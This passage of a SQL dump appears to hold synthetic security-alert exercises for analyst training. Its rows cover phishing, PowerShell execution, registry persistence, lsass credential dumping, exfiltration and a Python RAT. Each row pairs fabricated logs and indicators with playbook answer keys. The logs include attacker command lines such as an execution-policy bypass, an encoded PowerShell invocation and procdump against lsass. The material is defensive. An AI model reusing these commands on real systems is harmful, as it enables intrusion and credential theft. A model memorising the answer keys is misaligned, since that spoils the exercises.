'{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Email with Malicious Attachment\",\"date\":\"2026-02-01T20:32:22.788Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1082, 'Execution of Malicious Script', 'high', 'Endpoint Detection and Response (EDR) Systems', 'A malicious script was executed on the host system, facilitating the deployment of the Careto malware. This operation aims to gain control and extract sensitive information from the compromised machine.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:23:45Z\",\"event_id\":4624,\"log_source\":\"EDR\",\"host\":\"COMPROMISED-HOST\",\"user\":\"john.doe\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\",\"file_name\":\"careto_deploy.ps1\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"process\":{\"name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\john.doe\\\\careto_deploy.ps1\"}}', '2026-01-24 03:40:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public IP\",\"verdict\":\"malicious\",\"details\":\"External IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of the Careto malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"careto_deploy.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename used to deploy Careto malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User account related to the execution of the script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1083, 'Establishment of Persistence Mechanisms', 'high', 'Windows Registry and Scheduled Tasks Logs', 'The malware modifies registry keys and creates scheduled tasks to maintain persistence on the compromised networks. This activity indicates an attempt to ensure long-term access to the compromised systems by altering critical system configurations.', 'Persistence', 'T1547', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:33Z\",\"event_id\":7045,\"event_source\":\"Microsoft-Windows-TaskScheduler\",\"computer_name\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"task_name\":\"\\\\ScheduledTask\\\\MaliciousTask\",\"task_content\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c C:\\\\malware\\\\persistence.exe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Persistence\",\"registry_value\":\"C:\\\\malware\\\\persistence.exe\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\",\"hash\":\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\",\"username\":\"admin\"}', '2026-01-24 03:40:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known persistence malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.791Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\ScheduledTask\\\\\\\\MaliciousTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Persistence\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.791Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\ScheduledTask\\\\\\\\MaliciousTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Persistence\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.791Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\ScheduledTask\\\\\\\\MaliciousTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Persistence\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.791Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\ScheduledTask\\\\\\\\MaliciousTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Persistence\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.791Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":7045,\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\ScheduledTask\\\\\\\\MaliciousTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Persistence\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\persistence.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"3b6e6e0d9b8c3c2a6f7e6b8b9d8c3f7e\\\",\\\"username\\\":\\\"admin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1084, 'Credential Dumping for Lateral Movement', 'high', 'Network Traffic Analysis and SIEM', 'Using stolen credentials, the threat actors move laterally across the network, targeting critical systems and expanding their reach. The attacker accessed sensitive systems using harvested credentials.', 'Lateral Movement', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:17Z\",\"event_id\":\"10002\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.10.5.23\",\"event_type\":\"credential_access\",\"username\":\"jdoe_admin\",\"file_accessed\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"procdump.exe\",\"action\":\"credential_dump\",\"network_protocol\":\"SMB\",\"destination_port\":445}', '2026-01-24 03:40:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT actor IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"Unusual access pattern detected.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"procdump.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Potential misuse of legitimate tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1085, 'Data Exfiltration via Encrypted Channels', 'critical', 'Data Loss Prevention (DLP) Systems', 'The Mask uses encrypted channels to exfiltrate sensitive data from targeted organizations, aiming to avoid detection and complete their espionage mission.', 'Exfiltration', 'T1048.003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-04T13:45:32Z\",\"event_id\":\"EXFIL-2023-3421\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.15\",\"protocol\":\"HTTPS\",\"filename\":\"confidential_report.pdf\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"jdoe\",\"action\":\"File Transfer\",\"detection_module\":\"EncryptedChannelMonitor\",\"alert\":\"Suspicious exfiltration detected via encrypted channel\",\"extra_info\":{\"encryption_type\":\"TLS 1.3\",\"data_volume\":\"5MB\",\"destination_domain\":\"malicious-actor.xyz\"}}', '2026-01-24 03:40:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP is from an internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Monitoring\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash is not associated with known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"sensitive\",\"details\":\"File contains sensitive information.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account used in data exfiltration.\"}},{\"id\":\"artifact_6\",\"type\":\"domain\",\"value\":\"malicious-actor.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain is associated with known threat actors.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.794Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T13:45:32Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-3421\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_module\\\":\\\"EncryptedChannelMonitor\\\",\\\"alert\\\":\\\"Suspicious exfiltration detected via encrypted channel\\\",\\\"extra_info\\\":{\\\"encryption_type\\\":\\\"TLS 1.3\\\",\\\"data_volume\\\":\\\"5MB\\\",\\\"destination_domain\\\":\\\"malicious-actor.xyz\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.794Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T13:45:32Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-3421\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_module\\\":\\\"EncryptedChannelMonitor\\\",\\\"alert\\\":\\\"Suspicious exfiltration detected via encrypted channel\\\",\\\"extra_info\\\":{\\\"encryption_type\\\":\\\"TLS 1.3\\\",\\\"data_volume\\\":\\\"5MB\\\",\\\"destination_domain\\\":\\\"malicious-actor.xyz\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.794Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T13:45:32Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-3421\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_module\\\":\\\"EncryptedChannelMonitor\\\",\\\"alert\\\":\\\"Suspicious exfiltration detected via encrypted channel\\\",\\\"extra_info\\\":{\\\"encryption_type\\\":\\\"TLS 1.3\\\",\\\"data_volume\\\":\\\"5MB\\\",\\\"destination_domain\\\":\\\"malicious-actor.xyz\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.794Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T13:45:32Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-3421\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_module\\\":\\\"EncryptedChannelMonitor\\\",\\\"alert\\\":\\\"Suspicious exfiltration detected via encrypted channel\\\",\\\"extra_info\\\":{\\\"encryption_type\\\":\\\"TLS 1.3\\\",\\\"data_volume\\\":\\\"5MB\\\",\\\"destination_domain\\\":\\\"malicious-actor.xyz\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.794Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T13:45:32Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-3421\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"detection_module\\\":\\\"EncryptedChannelMonitor\\\",\\\"alert\\\":\\\"Suspicious exfiltration detected via encrypted channel\\\",\\\"extra_info\\\":{\\\"encryption_type\\\":\\\"TLS 1.3\\\",\\\"data_volume\\\":\\\"5MB\\\",\\\"destination_domain\\\":\\\"malicious-actor.xyz\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1086, 'Phishing Email with Malicious Attachment', 'medium', 'Email Gateway Logs', 'A spear-phishing email targeting military personnel was detected. The email contained a malicious attachment disguised as a legitimate document. The sender\'s IP is associated with previous phishing campaigns.', 'Social Engineering', 'T1566.001 - Phishing: Spearphishing Attachment', 1, 'investigating', 74, '{\"timestamp\":\"2023-10-16T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.15\",\"destination_user\":\"john.doe@military.gov\",\"email_subject\":\"Urgent: Action Required\",\"attachment_name\":\"Official_Document.pdf\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"sender_email\":\"trusted.source@domain.com\",\"recipient_email\":\"john.doe@military.gov\"}', '2026-01-24 03:41:05', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP is linked to several phishing campaigns targeting government entities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"The hash is associated with a known malicious document used in phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"trusted.source@domain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email address is spoofed and previously used in phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Attachment\",\"date\":\"2026-02-01T20:32:22.795Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1087, 'Execution of Python-Based RAT', 'high', 'Endpoint Detection and Response (EDR)', 'A Python-based Remote Access Trojan (RAT) was executed on the victim\'s machine after a malicious attachment was opened. This action has established a foothold within the network, potentially allowing the attacker to gain further access.', 'Malware Execution', 'T1059.006 - Command and Scripting Interpreter: Python', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:00Z\",\"event_type\":\"process_creation\",\"user\":\"john.doe\",\"source_ip\":\"192.168.1.42\",\"destination_ip\":\"203.0.113.56\",\"process_name\":\"python.exe\",\"command_line\":\"python.exe C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\malicious_rat.py\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_path\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\malicious_rat.py\",\"signature_status\":\"unsigned\",\"external_ip\":\"203.0.113.56\"}', '2026-01-24 03:41:05', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP is associated with known malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is associated with Python-based RAT.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_rat.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"The file name indicates potential malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in the alert.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
